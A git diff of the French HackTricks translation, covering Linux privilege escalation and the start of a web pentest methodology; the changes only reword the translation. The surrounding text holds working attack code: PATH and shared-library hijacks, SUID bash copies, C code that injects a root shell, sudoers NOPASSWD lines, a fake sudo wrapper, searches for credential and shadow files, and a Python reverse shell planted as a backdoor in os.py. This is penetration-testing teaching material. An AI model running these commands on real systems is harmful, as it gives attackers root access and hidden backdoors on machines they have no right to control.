@ -706,16 +712,16 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
|
|||
|
||||
Si vous **connaissez un mot de passe** de l'environnement, **essayez de vous connecter en tant que chaque utilisateur** en utilisant le mot de passe.
|
||||
|
||||
### Brute-force de Su
|
||||
### Su Brute
|
||||
|
||||
Si vous ne vous souciez pas de faire beaucoup de bruit et que les binaires `su` et `timeout` sont présents sur l'ordinateur, vous pouvez essayer de forcer l'utilisateur en utilisant [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\
|
||||
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) avec le paramètre `-a` essaie également de forcer les utilisateurs.
|
||||
|
||||
## Abus de chemin d'accès inscriptible
|
||||
## Abus de chemin inscriptible
|
||||
|
||||
### $PATH
|
||||
|
||||
Si vous découvrez que vous pouvez **écrire à l'intérieur d'un dossier du $PATH**, vous pourriez être en mesure d'escalader les privilèges en **créant une porte dérobée à l'intérieur du dossier inscriptible** avec le nom d'une commande qui va être exécutée par un autre utilisateur (idéalement root) et qui n'est **pas chargée à partir d'un dossier situé précédemment** à votre dossier inscriptible dans $PATH.
|
||||
Si vous découvrez que vous pouvez **écrire dans un dossier du $PATH**, vous pourriez être en mesure d'escalader les privilèges en **créant une porte dérobée à l'intérieur du dossier inscriptible** avec le nom d'une commande qui va être exécutée par un utilisateur différent (idéalement root) et qui n'est **pas chargée à partir d'un dossier situé précédemment** à votre dossier inscriptible dans $PATH.
|
||||
|
||||
### SUDO et SUID
|
||||
|
||||
|
|
@ -778,35 +784,33 @@ sudo less /var/log/something /etc/shadow #Red 2 files
|
|||
|
||||
### Commande Sudo/binaire SUID sans chemin de commande
|
||||
|
||||
Si la **permission sudo** est donnée à une seule commande **sans spécifier le chemin**: _hacker10 ALL= (root) less_, vous pouvez l'exploiter en modifiant la variable PATH
|
||||
Si la **permission sudo** est accordée à une seule commande **sans spécifier le chemin**: _hacker10 ALL= (root) less_, vous pouvez l'exploiter en modifiant la variable PATH
|
||||
```bash
|
||||
export PATH=/tmp:$PATH
|
||||
#Put your backdoor in /tmp and name it "less"
|
||||
sudo less
|
||||
```
|
||||
Cette technique peut également être utilisée si un binaire **suid** exécute une autre commande sans spécifier le chemin d'accès (vérifiez toujours avec **_strings_** le contenu d'un binaire SUID suspect).
|
||||
Cette technique peut également être utilisée si un binaire **suid** **exécute une autre commande sans spécifier le chemin d'accès (vérifiez toujours avec** _**strings**_ **le contenu d'un binaire SUID suspect)**.
|
||||
|
||||
[Exemples de charges utiles à exécuter.](payloads-to-execute.md)
|
||||
|
||||
### Binaire SUID avec chemin de commande
|
||||
### Binaire SUID avec chemin d'accès de commande
|
||||
|
||||
Si le binaire **suid** exécute une autre commande en spécifiant le chemin d'accès, alors vous pouvez essayer d'**exporter une fonction** nommée comme la commande que le fichier suid appelle.
|
||||
Si le binaire **suid** **exécute une autre commande en spécifiant le chemin d'accès**, alors vous pouvez essayer d'**exporter une fonction** nommée comme la commande que le fichier suid appelle.
|
||||
|
||||
Par exemple, si un binaire suid appelle _**/usr/sbin/service apache2 start**_, vous devez essayer de créer la fonction et de l'exporter :
|
||||
```bash
|
||||
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
|
||||
export -f /usr/sbin/service
|
||||
```
|
||||
Ensuite, lorsque vous appelez le binaire suid, cette fonction sera exécutée
|
||||
|
||||
### LD\_PRELOAD & **LD\_LIBRARY\_PATH**
|
||||
|
||||
La variable d'environnement **LD\_PRELOAD** est utilisée pour spécifier une ou plusieurs bibliothèques partagées (.so) à charger par le chargeur avant toutes les autres, y compris la bibliothèque C standard (`libc.so`). Ce processus est connu sous le nom de préchargement d'une bibliothèque.
|
||||
La variable d'environnement **LD\_PRELOAD** est utilisée pour spécifier une ou plusieurs bibliothèques partagées (.so files) à charger par le chargeur avant toutes les autres, y compris la bibliothèque C standard (`libc.so`). Ce processus est connu sous le nom de préchargement d'une bibliothèque.
|
||||
|
||||
Cependant, pour maintenir la sécurité du système et empêcher cette fonctionnalité d'être exploitée, en particulier avec les exécutables **suid/sgid**, le système impose certaines conditions :
|
||||
Cependant, pour maintenir la sécurité du système et empêcher l'exploitation de cette fonctionnalité, en particulier avec les exécutables **suid/sgid**, le système impose certaines conditions :
|
||||
|
||||
* Le chargeur ignore **LD\_PRELOAD** pour les exécutables où l'identifiant utilisateur réel (_ruid_) ne correspond pas à l'identifiant utilisateur effectif (_euid_).
|
||||
* Pour les exécutables avec suid/sgid, seules les bibliothèques dans les chemins standard qui sont également suid/sgid sont préchargées.
|
||||
- Le chargeur ignore **LD\_PRELOAD** pour les exécutables où l'identifiant utilisateur réel (_ruid_) ne correspond pas à l'identifiant utilisateur effectif (_euid_).
|
||||
- Pour les exécutables avec suid/sgid, seules les bibliothèques dans les chemins standard qui sont également suid/sgid sont préchargées.
|
||||
|
||||
Une élévation de privilèges peut se produire si vous avez la capacité d'exécuter des commandes avec `sudo` et que la sortie de `sudo -l` inclut l'instruction **env\_keep+=LD\_PRELOAD**. Cette configuration permet à la variable d'environnement **LD\_PRELOAD** de persister et d'être reconnue même lorsque les commandes sont exécutées avec `sudo`, ce qui peut potentiellement conduire à l'exécution de code arbitraire avec des privilèges élevés.
|
||||
```
|
||||
|
|
@ -858,7 +862,7 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
|
|||
```
|
||||
### Binaire SUID - Injection .so
|
||||
|
||||
Lorsque vous rencontrez un binaire avec des permissions **SUID** qui semblent inhabituelles, il est bon de vérifier s'il charge correctement les fichiers **.so**. Cela peut être vérifié en exécutant la commande suivante :
|
||||
Lorsque vous rencontrez un binaire avec des permissions **SUID** qui semble inhabituel, il est bon de vérifier s'il charge correctement les fichiers **.so**. Cela peut être vérifié en exécutant la commande suivante :
|
||||
```bash
|
||||
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
|
||||
```
|
||||
|
|
@ -875,15 +879,15 @@ void inject(){
|
|||
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
|
||||
}
|
||||
```
|
||||
Ce code, une fois compilé et exécuté, vise à élever les privilèges en manipulant les autorisations de fichier et en exécutant un shell avec des privilèges élevés.
|
||||
Ce code, une fois compilé et exécuté, vise à élever les privilèges en manipulant les autorisations de fichiers et en exécutant un shell avec des privilèges élevés.
|
||||
|
||||
Compilez le fichier C ci-dessus dans un fichier objet partagé (.so) avec :
|
||||
Compilez le fichier C ci-dessus en un fichier objet partagé (.so) avec :
|
||||
```bash
|
||||
gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c
|
||||
```
|
||||
## Substitution de l'objet partagé
|
||||
|
||||
Enfin, l'exécution du binaire SUID affecté devrait déclencher l'exploit, permettant une compromission potentielle du système.
|
||||
|
||||
## Hijacking d'Objet Partagé
|
||||
```bash
|
||||
# Lets find a SUID using a non-standard library
|
||||
ldd some_suid
|
||||
|
|
@ -914,9 +918,9 @@ Cela signifie que la bibliothèque que vous avez générée doit avoir une fonct
|
|||
|
||||
### GTFOBins
|
||||
|
||||
[**GTFOBins**](https://gtfobins.github.io) est une liste organisée de binaires Unix pouvant être exploités par un attaquant pour contourner les restrictions de sécurité locales. [**GTFOArgs**](https://gtfoargs.github.io/) est similaire mais pour les cas où vous ne pouvez **injecter que des arguments** dans une commande.
|
||||
[**GTFOBins**](https://gtfobins.github.io) est une liste organisée de binaires Unix qui peuvent être exploités par un attaquant pour contourner les restrictions de sécurité locales. [**GTFOArgs**](https://gtfoargs.github.io/) est la même chose mais pour les cas où vous ne pouvez **injecter que des arguments** dans une commande.
|
||||
|
||||
Le projet recueille les fonctions légitimes des binaires Unix qui peuvent être abusées pour s'échapper des shells restreints, escalader ou maintenir des privilèges élevés, transférer des fichiers, lancer des shells bind et reverse, et faciliter d'autres tâches de post-exploitation.
|
||||
Le projet recueille les fonctions légitimes des binaires Unix qui peuvent être abusées pour s'échapper des shells restreints, escalader ou maintenir des privilèges élevés, transférer des fichiers, lancer des shells bind et reverse, et faciliter les autres tâches de post-exploitation.
|
||||
|
||||
> gdb -nx -ex '!sh' -ex quit\
|
||||
> sudo mysql -e '! /bin/sh'\
|
||||
|
|
@ -940,7 +944,7 @@ Conditions requises pour escalader les privilèges :
|
|||
* Vous avez déjà un shell en tant qu'utilisateur "_sampleuser_"
|
||||
* "_sampleuser_" a **utilisé `sudo`** pour exécuter quelque chose dans les **15 dernières minutes** (par défaut, c'est la durée du jeton sudo qui nous permet d'utiliser `sudo` sans saisir de mot de passe)
|
||||
* `cat /proc/sys/kernel/yama/ptrace_scope` est à 0
|
||||
* `gdb` est accessible (vous devez pouvoir le télécharger)
|
||||
* `gdb` est accessible (vous pouvez le télécharger)
|
||||
|
||||
(Vous pouvez temporairement activer `ptrace_scope` avec `echo 0 | sudo tee /proc/sys/kernel/yama/ptrace_scope` ou le modifier définitivement dans `/etc/sysctl.d/10-ptrace.conf` en définissant `kernel.yama.ptrace_scope = 0`)
|
||||
|
||||
|
|
@ -977,7 +981,7 @@ Le fichier `/etc/sudoers` et les fichiers à l'intérieur de `/etc/sudoers.d` co
|
|||
ls -l /etc/sudoers /etc/sudoers.d/
|
||||
ls -ld /etc/sudoers.d/
|
||||
```
|
||||
Si vous pouvez écrire, vous pouvez abuser de cette permission
|
||||
Si vous pouvez écrire, vous pouvez abuser de cette permission.
|
||||
```bash
|
||||
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers
|
||||
echo "$(whoami) ALL=(ALL) NOPASSWD: ALL" >> /etc/sudoers.d/README
|
||||
|
|
@ -1001,7 +1005,7 @@ Si vous savez qu'un **utilisateur se connecte généralement à une machine et u
|
|||
|
||||
Notez que si l'utilisateur utilise un shell différent (pas bash), vous devrez modifier d'autres fichiers pour ajouter le nouveau chemin. Par exemple, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifie `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Vous pouvez trouver un autre exemple dans [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire\_modules/bashdoor.py)
|
||||
|
||||
Ou exécutez quelque chose comme :
|
||||
Ou exécuter quelque chose comme :
|
||||
```bash
|
||||
cat >/tmp/sudo <<EOF
|
||||
#!/bin/bash
|
||||
|
|
@ -1020,11 +1024,11 @@ sudo ls
|
|||
|
||||
### ld.so
|
||||
|
||||
Le fichier `/etc/ld.so.conf` indique **d'où viennent les fichiers de configuration chargés**. En général, ce fichier contient le chemin suivant : `include /etc/ld.so.conf.d/*.conf`
|
||||
Le fichier `/etc/ld.so.conf` indique **d'où proviennent les fichiers de configurations chargés**. En général, ce fichier contient le chemin suivant : `include /etc/ld.so.conf.d/*.conf`
|
||||
|
||||
Cela signifie que les fichiers de configuration de `/etc/ld.so.conf.d/*.conf` seront lus. Ces fichiers de configuration **indiquent d'autres dossiers** où les **bibliothèques** seront **recherchées**. Par exemple, le contenu de `/etc/ld.so.conf.d/libc.conf` est `/usr/local/lib`. **Cela signifie que le système recherchera des bibliothèques à l'intérieur de `/usr/local/lib`**.
|
||||
|
||||
Si pour une raison quelconque **un utilisateur a des permissions d'écriture** sur l'un des chemins indiqués : `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, tout fichier à l'intérieur de `/etc/ld.so.conf.d/` ou tout dossier dans le fichier de configuration à l'intérieur de `/etc/ld.so.conf.d/*.conf`, il pourrait être en mesure d'escalader les privilèges.\
|
||||
Si, pour une raison quelconque, **un utilisateur a des permissions d'écriture** sur l'un des chemins indiqués : `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, n'importe quel fichier à l'intérieur de `/etc/ld.so.conf.d/` ou n'importe quel dossier dans le fichier de configuration à l'intérieur de `/etc/ld.so.conf.d/*.conf`, il pourrait être en mesure d'escalader les privilèges.\
|
||||
Consultez **comment exploiter cette mauvaise configuration** sur la page suivante :
|
||||
|
||||
{% content-ref url="ld.so.conf-example.md" %}
|
||||
|
|
@ -1082,7 +1086,7 @@ Le bit **"lecture"** implique que l'utilisateur peut **lister** les **fichiers**
|
|||
|
||||
Les listes de contrôle d'accès (ACL) représentent la couche secondaire des autorisations discrétionnaires, capables de **remplacer les autorisations traditionnelles ugo/rwx**. Ces autorisations améliorent le contrôle de l'accès aux fichiers ou répertoires en permettant ou en refusant des droits à des utilisateurs spécifiques qui ne sont pas les propriétaires ou ne font pas partie du groupe. Ce niveau de **granularité garantit une gestion de l'accès plus précise**. Vous trouverez plus de détails [**ici**](https://linuxconfig.org/how-to-manage-acls-on-linux).
|
||||
|
||||
**Donnez** à l'utilisateur "kali" des autorisations de lecture et d'écriture sur un fichier:
|
||||
**Donnez** à l'utilisateur "kali" des autorisations de lecture et d'écriture sur un fichier :
|
||||
```bash
|
||||
setfacl -m u:kali:rw file.txt
|
||||
#Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included)
|
||||
|
|
@ -1093,10 +1097,10 @@ setfacl -b file.txt #Remove the ACL of the file
|
|||
```bash
|
||||
getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
|
||||
```
|
||||
## Ouverture de sessions shell
|
||||
## Sessions de shell ouvertes
|
||||
|
||||
Dans les **anciennes versions**, vous pouvez **détourner** une session **shell** d'un utilisateur différent (**root**).\
|
||||
Dans les **nouvelles versions**, vous pourrez **vous connecter** uniquement aux sessions screen de **votre propre utilisateur**. Cependant, vous pourriez trouver **des informations intéressantes à l'intérieur de la session**.
|
||||
Dans les **anciennes versions**, vous pouvez **détourner** une session de **shell** d'un utilisateur différent (**root**).\
|
||||
Dans les **nouvelles versions**, vous pourrez **vous connecter** uniquement aux sessions de **votre propre utilisateur**. Cependant, vous pourriez trouver **des informations intéressantes à l'intérieur de la session**.
|
||||
|
||||
### Détournement de sessions screen
|
||||
|
||||
|
|
@ -1105,15 +1109,17 @@ Dans les **nouvelles versions**, vous pourrez **vous connecter** uniquement aux
|
|||
screen -ls
|
||||
screen -ls <username>/ # Show another user' screen sessions
|
||||
```
|
||||
.png>)
|
||||
|
||||
**Attacher à une session**
|
||||
```bash
|
||||
screen -dr <session> #The -d is to detach whoever is attached to it
|
||||
screen -dr 3350.foo #In the example of the image
|
||||
screen -x [user]/[session id]
|
||||
```
|
||||
## Détournement de sessions tmux
|
||||
## Capture de sessions tmux
|
||||
|
||||
C'était un problème avec les **anciennes versions de tmux**. Je n'ai pas pu détourner une session tmux (v2.1) créée par root en tant qu'utilisateur non privilégié.
|
||||
C'était un problème avec les **anciennes versions de tmux**. Je n'ai pas pu capturer une session tmux (v2.1) créée par root en tant qu'utilisateur non privilégié.
|
||||
|
||||
**Lister les sessions tmux**
|
||||
```bash
|
||||
|
|
@ -1121,8 +1127,6 @@ tmux ls
|
|||
ps aux | grep tmux #Search for tmux consoles not using default folder for sockets
|
||||
tmux -S /tmp/dev_sess ls #List using that socket, you can start a tmux session in that socket with: tmux -S /tmp/dev_sess
|
||||
```
|
||||
.png>)
|
||||
|
||||
**Attacher à une session**
|
||||
```bash
|
||||
tmux attach -t myname #If you write something in this session it will appears in the other opened one
|
||||
|
|
@ -1146,14 +1150,14 @@ Ce bogue est causé lors de la création d'une nouvelle clé ssh dans ces systè
|
|||
|
||||
* **PasswordAuthentication:** Spécifie si l'authentification par mot de passe est autorisée. Par défaut, c'est `no`.
|
||||
* **PubkeyAuthentication:** Spécifie si l'authentification par clé publique est autorisée. Par défaut, c'est `yes`.
|
||||
* **PermitEmptyPasswords**: Lorsque l'authentification par mot de passe est autorisée, spécifie si le serveur autorise la connexion aux comptes avec des chaînes de mot de passe vides. Par défaut, c'est `no`.
|
||||
* **PermitEmptyPasswords**: Lorsque l'authentification par mot de passe est autorisée, spécifie si le serveur autorise la connexion aux comptes avec des chaînes de caractères de mot de passe vides. Par défaut, c'est `no`.
|
||||
|
||||
### PermitRootLogin
|
||||
|
||||
Spécifie si root peut se connecter en utilisant ssh, par défaut c'est `no`. Les valeurs possibles sont :
|
||||
Spécifie si root peut se connecter en utilisant ssh, par défaut c'est `no`. Les valeurs possibles sont:
|
||||
|
||||
* `yes`: root peut se connecter en utilisant un mot de passe et une clé privée
|
||||
* `without-password` ou `prohibit-password`: root peut uniquement se connecter avec une clé privée
|
||||
* `without-password` ou `prohibit-password`: root peut seulement se connecter avec une clé privée
|
||||
* `forced-commands-only`: Root peut se connecter uniquement en utilisant une clé privée et si les options de commandes sont spécifiées
|
||||
* `no` : non
|
||||
|
||||
|
|
@ -1163,11 +1167,11 @@ Spécifie les fichiers contenant les clés publiques pouvant être utilisées po
|
|||
```bash
|
||||
AuthorizedKeysFile .ssh/authorized_keys access
|
||||
```
|
||||
Cette configuration indiquera que si vous essayez de vous connecter avec la clé **privée** de l'utilisateur "**nomutilisateurtest**", ssh va comparer la clé publique de votre clé avec celles situées dans `/home/nomutilisateurtest/.ssh/authorized_keys` et `/home/nomutilisateurtest/access`
|
||||
Cette configuration indiquera que si vous essayez de vous connecter avec la clé **privée** de l'utilisateur "**nomutilisateurdetest**", ssh va comparer la clé publique de votre clé avec celles situées dans `/home/nomutilisateurdetest/.ssh/authorized_keys` et `/home/nomutilisateurdetest/access`
|
||||
|
||||
### ForwardAgent/AllowAgentForwarding
|
||||
|
||||
Le transfert d'agent SSH vous permet d'**utiliser vos clés SSH locales au lieu de laisser des clés** (sans phrase secrète !) assises sur votre serveur. Ainsi, vous pourrez **sauter** via ssh **vers un hôte** et de là **sauter vers un autre** hôte **en utilisant** la **clé** située dans votre **hôte initial**.
|
||||
Le transfert d'agent SSH vous permet d'**utiliser vos clés SSH locales au lieu de laisser des clés** (sans phrases secrètes !) assises sur votre serveur. Ainsi, vous pourrez **sauter** via ssh **vers un hôte** et de là **sauter vers un autre** hôte **en utilisant** la **clé** située dans votre **hôte initial**.
|
||||
|
||||
Vous devez définir cette option dans `$HOME/.ssh.config` comme ceci:
|
||||
```
|
||||
|
|
@ -1177,7 +1181,7 @@ ForwardAgent yes
|
|||
Notez que si `Host` est `*` chaque fois que l'utilisateur saute sur une machine différente, cette machine pourra accéder aux clés (ce qui est un problème de sécurité).
|
||||
|
||||
Le fichier `/etc/ssh_config` peut **remplacer** ces **options** et autoriser ou refuser cette configuration.\
|
||||
Le fichier `/etc/sshd_config` peut **autoriser** ou **refuser** la redirection de l'agent ssh avec le mot-clé `AllowAgentForwarding` (par défaut, c'est autorisé).
|
||||
Le fichier `/etc/sshd_config` peut **autoriser** ou **refuser** le transfert de l'agent ssh avec le mot-clé `AllowAgentForwarding` (par défaut, c'est autorisé).
|
||||
|
||||
Si vous constatez que l'Agent Forward est configuré dans un environnement, lisez la page suivante car **vous pourriez l'exploiter pour escalader les privilèges** :
|
||||
|
||||
|
|
@ -1197,14 +1201,14 @@ Si un script de profil étrange est trouvé, vous devriez le vérifier pour **de
|
|||
|
||||
### Fichiers Passwd/Shadow
|
||||
|
||||
Selon le système d'exploitation, les fichiers `/etc/passwd` et `/etc/shadow` peuvent avoir un nom différent ou il peut y avoir une sauvegarde. Par conséquent, il est recommandé de **trouver tous** ces fichiers et de **vérifier si vous pouvez les lire** pour voir **s'il y a des hachages** à l'intérieur des fichiers :
|
||||
Selon le système d'exploitation, les fichiers `/etc/passwd` et `/etc/shadow` peuvent avoir un nom différent ou il peut y avoir une sauvegarde. Par conséquent, il est recommandé de **trouver tous ces fichiers** et de **vérifier si vous pouvez les lire** pour voir **s'il y a des hachages** à l'intérieur des fichiers :
|
||||
```bash
|
||||
#Passwd equivalent files
|
||||
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
#Shadow equivalent files
|
||||
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
|
||||
```
|
||||
Dans certaines occasions, vous pouvez trouver des **empreintes de mot de passe** à l'intérieur du fichier `/etc/passwd` (ou équivalent)
|
||||
Dans certaines occasions, vous pouvez trouver des **hachages de mots de passe** à l'intérieur du fichier `/etc/passwd` (ou équivalent)
|
||||
```bash
|
||||
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
|
||||
```
|
||||
|
|
@ -1232,7 +1236,7 @@ su - dummy
|
|||
```
|
||||
NOTE: Sur les plateformes BSD, `/etc/passwd` se trouve à `/etc/pwd.db` et `/etc/master.passwd`, et `/etc/shadow` est renommé en `/etc/spwd.db`.
|
||||
|
||||
Vous devriez vérifier si vous pouvez **écrire dans certains fichiers sensibles**. Par exemple, pouvez-vous écrire dans un **fichier de configuration de service** ?
|
||||
Vous devriez vérifier si vous pouvez **écrire dans certains fichiers sensibles**. Par exemple, pouvez-vous écrire dans un **fichier de configuration de service**?
|
||||
```bash
|
||||
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
|
||||
for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user
|
||||
|
|
@ -1276,7 +1280,7 @@ find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -p
|
|||
```bash
|
||||
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null
|
||||
```
|
||||
### \*\_historique, .sudo_as_admin_reussi, profil, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml fichiers
|
||||
### Fichiers \*\_history, .sudo\_as\_admin\_successful, profile, bashrc, httpd.conf, .plan, .htpasswd, .git-credentials, .rhosts, hosts.equiv, Dockerfile, docker-compose.yml
|
||||
```bash
|
||||
find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -name ".profile" -o -name "*bashrc" -o -name "httpd.conf" -o -name "*.plan" -o -name ".htpasswd" -o -name ".git-credentials" -o -name "*.rhosts" -o -name "hosts.equiv" -o -name "Dockerfile" -o -name "docker-compose.yml" \) 2>/dev/null
|
||||
```
|
||||
|
|
@ -1287,7 +1291,7 @@ find / -type f -iname ".*" -ls 2>/dev/null
|
|||
### **Scripts/Binaires dans le PATH**
|
||||
```bash
|
||||
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
|
||||
for d in `echo $PATH | tr ":" "\n"`; do find $d -type -f -executable 2>/dev/null; done
|
||||
for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done
|
||||
```
|
||||
### **Fichiers Web**
|
||||
```bash
|
||||
|
|
@ -1329,13 +1333,13 @@ Pour **lire les journaux du groupe** [**adm**](interesting-groups-linux-pe/#adm-
|
|||
### Recherche générique de mots de passe/Regex
|
||||
|
||||
Vous devriez également vérifier les fichiers contenant le mot "**password**" dans leur **nom** ou à l'intérieur du **contenu**, et vérifier également les adresses IP et les e-mails dans les journaux, ou les regexps de hachages.\
|
||||
Je ne vais pas énumérer ici comment faire tout cela, mais si vous êtes intéressé, vous pouvez vérifier les dernières vérifications effectuées par [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh).
|
||||
Je ne vais pas énumérer ici comment faire tout cela, mais si vous êtes intéressé, vous pouvez vérifier les dernières vérifications que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) effectue.
|
||||
|
||||
## Fichiers inscriptibles
|
||||
|
||||
### Détournement de bibliothèque Python
|
||||
|
||||
Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire à l'intérieur** de ce dossier ou que vous pouvez **modifier les bibliothèques python**, vous pouvez modifier la bibliothèque OS et y insérer une porte dérobée (si vous pouvez écrire là où le script python va être exécuté, copiez-collez la bibliothèque os.py).
|
||||
Si vous savez **d'où** un script python va être exécuté et que vous **pouvez écrire à l'intérieur** de ce dossier ou que vous pouvez **modifier les bibliothèques python**, vous pouvez modifier la bibliothèque OS et y insérer une porte dérobée (si vous pouvez écrire là où le script python va être exécuté, copiez et collez la bibliothèque os.py).
|
||||
|
||||
Pour **insérer une porte dérobée dans la bibliothèque**, ajoutez simplement à la fin de la bibliothèque os.py la ligne suivante (changez l'IP et le PORT) :
|
||||
```python
|
||||
|
|
@ -1343,7 +1347,7 @@ import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s
|
|||
```
|
||||
### Exploitation de Logrotate
|
||||
|
||||
Une vulnérabilité dans `logrotate` permet aux utilisateurs ayant des **permissions d'écriture** sur un fichier journal ou ses répertoires parent de potentiellement obtenir des privilèges élevés. Cela est dû au fait que `logrotate`, souvent exécuté en tant que **root**, peut être manipulé pour exécuter des fichiers arbitraires, notamment dans des répertoires tels que _**/etc/bash\_completion.d/**_. Il est important de vérifier les permissions non seulement dans _/var/log_ mais aussi dans tout répertoire où la rotation des journaux est appliquée.
|
||||
Une vulnérabilité dans `logrotate` permet aux utilisateurs ayant des **permissions d'écriture** sur un fichier journal ou ses répertoires parents de potentiellement obtenir des privilèges élevés. Cela est dû au fait que `logrotate`, souvent exécuté en tant que **root**, peut être manipulé pour exécuter des fichiers arbitraires, notamment dans des répertoires comme _**/etc/bash\_completion.d/**_. Il est important de vérifier les permissions non seulement dans _/var/log_ mais aussi dans tout répertoire où la rotation des journaux est appliquée.
|
||||
|
||||
{% hint style="info" %}
|
||||
Cette vulnérabilité affecte la version `3.18.0` et les versions antérieures de `logrotate`
|
||||
|
|
@ -1353,13 +1357,13 @@ Des informations plus détaillées sur la vulnérabilité peuvent être trouvée
|
|||
|
||||
Vous pouvez exploiter cette vulnérabilité avec [**logrotten**](https://github.com/whotwagner/logrotten).
|
||||
|
||||
Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(journaux nginx)**, donc chaque fois que vous constatez que vous pouvez modifier des journaux, vérifiez qui gère ces journaux et vérifiez si vous pouvez obtenir des privilèges élevés en remplaçant les journaux par des liens symboliques.
|
||||
Cette vulnérabilité est très similaire à [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(journaux nginx)**, donc chaque fois que vous constatez que vous pouvez modifier des journaux, vérifiez qui gère ces journaux et vérifiez si vous pouvez escalader les privilèges en substituant les journaux par des liens symboliques.
|
||||
|
||||
### /etc/sysconfig/network-scripts/ (Centos/Redhat)
|
||||
|
||||
**Référence de la vulnérabilité :** [**https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist\_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f)
|
||||
|
||||
Si, pour une raison quelconque, un utilisateur est capable d'**écrire** un script `ifcf-<quelquechose>` dans _/etc/sysconfig/network-scripts_ **ou** s'il peut **ajuster** un script existant, alors votre **système est compromis**.
|
||||
Si, pour une raison quelconque, un utilisateur est capable d'**écrire** un script `ifcf-<quelquechose>` dans _/etc/sysconfig/network-scripts_ **ou** de **ajuster** un existant, alors votre **système est compromis**.
|
||||
|
||||
Les scripts réseau, par exemple _ifcg-eth0_, sont utilisés pour les connexions réseau. Ils ressemblent exactement à des fichiers .INI. Cependant, ils sont \~sourcés\~ sur Linux par Network Manager (dispatcher.d).
|
||||
|
||||
|
|
|
|||
|
|
@ -8,7 +8,7 @@ Autres façons de soutenir HackTricks:
|
|||
|
||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||
|
||||
|
|
@ -43,7 +43,7 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
|
|||
|
||||
## Résumé de la méthodologie
|
||||
|
||||
> Dans cette méthodologie, nous allons supposer que vous allez attaquer un domaine (ou sous-domaine) et uniquement celui-ci. Ainsi, vous devriez appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le périmètre.
|
||||
> Dans cette méthodologie, nous allons supposer que vous allez attaquer un domaine (ou sous-domaine) et uniquement celui-ci. Vous devriez appliquer cette méthodologie à chaque domaine, sous-domaine ou IP découvert avec un serveur web indéterminé dans le périmètre.
|
||||
|
||||
* [ ] Commencez par **identifier** les **technologies** utilisées par le serveur web. Recherchez des **astuces** à garder à l'esprit pendant le reste du test si vous parvenez à identifier avec succès la technologie.
|
||||
* [ ] Y a-t-il une **vulnérabilité connue** de la version de la technologie?
|
||||
|
|
@ -51,13 +51,13 @@ openssl s_client -connect domain.com:443 # GET / HTTP/1.0
